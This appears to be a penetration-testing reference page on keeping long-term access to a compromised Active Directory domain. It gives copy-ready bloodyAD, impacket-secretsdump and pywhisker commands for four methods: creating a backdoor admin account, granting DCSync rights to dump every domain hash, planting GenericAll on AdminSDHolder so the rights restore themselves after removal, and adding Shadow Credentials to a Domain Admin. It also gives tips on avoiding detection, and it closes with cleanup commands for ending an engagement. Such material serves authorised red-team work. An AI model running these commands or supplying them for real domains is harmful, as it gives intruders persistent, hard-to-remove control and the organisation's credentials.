# Account and ACL Persistence

> Techniques for maintaining AD access via account manipulation, ACL abuse, and permission backdoors to ensure long-term persistence in compromised environments.

- **URL:** https://hackindex.io/platforms/active-directory/persistence/ad-account-and-acl-persistence
- **Path:** Active Directory > Persistence
- **Up:** [Persistence](https://hackindex.io/platforms/active-directory/persistence.md)
- **Published:** 2026-04-05
- **Updated:** 2026-08-11

Account and ACL-based persistence survives password changes, reboots, and payload removal. A hidden admin account or a quietly granted ACL right gives you re-entry to the domain without needing to re-exploit anything. These techniques are less detectable than Golden Tickets because they use legitimate authentication flows.

- Backdoor domain account added to privileged groups
- DCSync rights granted to a controlled account
- GenericAll on AdminSDHolder (auto-restores every 60 minutes via SDProp)
- Shadow Credentials linked to a privileged account

## Backdoor domain account

Creating a domain account and adding it to privileged groups gives persistent authenticated access to every domain service.

**Create backdoor domain account**

```bash
# Create domain user (requires Domain Admin or Account Operators)
bloodyAD -d $DOMAIN -u $USER -p $PASSWORD --host $TARGET_IP add user backdoor 'BackdoorPass123!'

# Add to Domain Admins
bloodyAD -d $DOMAIN -u $USER -p $PASSWORD --host $TARGET_IP add groupMember "Domain Admins" backdoor

# Or add to less-monitored groups with sufficient access
bloodyAD -d $DOMAIN -u $USER -p $PASSWORD --host $TARGET_IP add groupMember "Account Operators" backdoor
bloodyAD -d $DOMAIN -u $USER -p $PASSWORD --host $TARGET_IP add groupMember "Backup Operators" backdoor

# Set password never expires
bloodyAD -d $DOMAIN -u $USER -p $PASSWORD --host $TARGET_IP add uac backdoor -f DONT_EXPIRE_PASSWORD

# Verify account works
nxc smb $TARGET_IP -u backdoor -p 'BackdoorPass123!'
```

Adding to Domain Admins generates Event ID 4728 and is detected quickly in monitored environments. Adding to Account Operators or Backup Operators is less visible: both groups have sufficient rights to re-escalate from.

## DCSync rights as persistent backdoor

Granting a controlled account DCSync rights is one of the most powerful and stealthy persistence mechanisms. The account looks like a normal domain user but can dump all domain hashes at any time. No group membership change is required.

**Grant DCSync rights as persistence**

```bash
# Grant DCSync rights to controlled account
bloodyAD -d $DOMAIN -u $USER -p $PASSWORD --host $TARGET_IP add dcsync backdoor

# Verify rights from the backdoor account
impacket-secretsdump $DOMAIN/backdoor:'BackdoorPass123!'@$TARGET_IP -just-dc-user krbtgt

# Use DCSync anytime to get fresh hashes
impacket-secretsdump $DOMAIN/backdoor:'BackdoorPass123!'@$TARGET_IP -just-dc
```

## GenericAll on AdminSDHolder

AdminSDHolder is a special AD object that acts as a permissions template for all protected groups (Domain Admins, Enterprise Admins, etc.). Every 60 minutes, the SDProp process copies AdminSDHolder's ACL to all protected group members. Granting yourself GenericAll on AdminSDHolder means your rights are automatically restored to every privileged account in the domain every hour: even if a defender removes them manually.

**AdminSDHolder ACL persistence**

```bash
# Grant GenericAll on AdminSDHolder to backdoor account
bloodyAD -d $DOMAIN -u $USER -p $PASSWORD --host $TARGET_IP add genericAll "CN=AdminSDHolder,CN=System,$BASE_DN" backdoor

# SDProp runs every 60 minutes automatically
# Force immediate propagation (requires Domain Admin)
ldapsearch -x -H ldap://$TARGET_IP -D "$USER@$DOMAIN" -w "$PASSWORD" -b "CN=AdminSDHolder,CN=System,$BASE_DN" nTSecurityDescriptor

# After SDProp runs, backdoor has GenericAll on all protected objects
# Verify by checking Domain Admins ACL
bloodyAD -d $DOMAIN -u backdoor -p 'BackdoorPass123!' --host $TARGET_IP get writable --detail | grep "Domain Admins"
```

## Shadow Credentials as persistence

Adding a shadow credential to a privileged account links a certificate key pair to that account. You can authenticate as that account using the certificate at any time: the account's password can change without affecting your access.

**Shadow Credentials persistence**

```bash
# Add shadow credential to Domain Admin account
bloodyAD -d $DOMAIN -u $USER -p $PASSWORD --host $TARGET_IP add shadowCredentials $DA_USER

# BloodyAD saves the certificate: note the path
# Authenticate with certificate at any time
pywhisker -d $DOMAIN -u $USER -p $PASSWORD --target $DA_USER --action list --dc-ip $TARGET_IP

# Get TGT using the certificate
# gettgtpkinit.py from https://github.com/dirkjanm/PKINITtools
python3 gettgtpkinit.py -cert-pfx /path/to/cert.pfx $DOMAIN/$DA_USER $DA_USER.ccache
export KRB5CCNAME=$DA_USER.ccache

# Verify access
nxc smb $TARGET_IP -u $DA_USER --use-kcache
```

## Cleanup

**Remove persistence after engagement**

```bash
# Remove backdoor user
bloodyAD -d $DOMAIN -u $USER -p $PASSWORD --host $TARGET_IP remove user backdoor

# Remove DCSync rights
bloodyAD -d $DOMAIN -u $USER -p $PASSWORD --host $TARGET_IP remove dcsync backdoor

# Remove shadow credentials
pywhisker -d $DOMAIN -u $USER -p $PASSWORD --target $DA_USER --action remove --device-id $DEVICE_ID --dc-ip $TARGET_IP

# Remove AdminSDHolder ACE (requires Domain Admin)
# Use PowerView or ADUC GUI to remove the specific ACE from AdminSDHolder
```

## References

- [BloodyAD: GitHub](https://github.com/CravateRouge/bloodyAD) - add user, add dcsync, add genericAll, add shadowCredentials reference
- [pywhisker: GitHub](https://github.com/ShutdownRepo/pywhisker) - Shadow Credentials add, list, remove operations
- [dirkjanm/PKINITtools](https://github.com/dirkjanm/PKINITtools)